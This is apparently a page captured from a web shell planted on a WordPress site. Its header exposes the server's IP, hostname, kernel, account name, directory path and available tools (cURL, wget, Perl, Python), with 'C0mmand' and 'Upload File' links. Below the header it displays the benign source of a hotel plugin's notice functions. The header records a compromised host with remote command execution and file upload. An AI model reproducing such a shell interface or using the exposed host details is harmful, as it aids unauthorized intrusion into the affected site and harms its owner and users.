|
Server IP : 10.131.40.8 / Your IP : 216.73.216.37 Web Server : Apache System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : ludmqhh ( 137773) PHP Version : 8.4.10 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/ludmqhh/www/hotel-forum/wp-content/plugins/wp-hotelier/includes/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Hotelier Message Functions.
*
* @author Benito Lopez <hello@lopezb.com>
* @category Core
* @package Hotelier/Functions
* @version 1.0.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly
}
/**
* Add and store a notice.
*/
function htl_add_notice( $message, $notice_type = 'notice' ) {
$notices = HTL()->session->get( 'htl_notices', array() );
$notices[ $notice_type ][] = apply_filters( 'hotelier_add_' . $notice_type, $message );
HTL()->session->set( 'htl_notices', $notices );
}
/**
* Print notices.
*/
function htl_print_notices() {
$all_notices = HTL()->session->get( 'htl_notices', array() );
$notice_types = apply_filters( 'hotelier_notice_types', array( 'error', 'notice' ) );
foreach ( $notice_types as $notice_type ) {
if ( htl_notice_count( $notice_type ) > 0 ) {
htl_get_template( "notices/{$notice_type}.php", array(
'messages' => $all_notices[ $notice_type ]
) );
}
}
htl_clear_notices();
}
/**
* Get the count of notices added.
*/
function htl_notice_count( $notice_type = '' ) {
$notice_count = 0;
$notices = HTL()->session->get( 'htl_notices', array() );
if ( isset( $notices[ $notice_type ] ) ) {
$notice_count = absint( sizeof( $notices[ $notice_type ] ) );
} elseif ( empty( $notice_type ) ) {
foreach ( $notices as $notice ) {
$notice_count += absint( sizeof( $notices ) );
}
}
return $notice_count;
}
/**
* Unset all notices.
*/
function htl_clear_notices() {
HTL()->session->set( 'htl_notices', null );
}
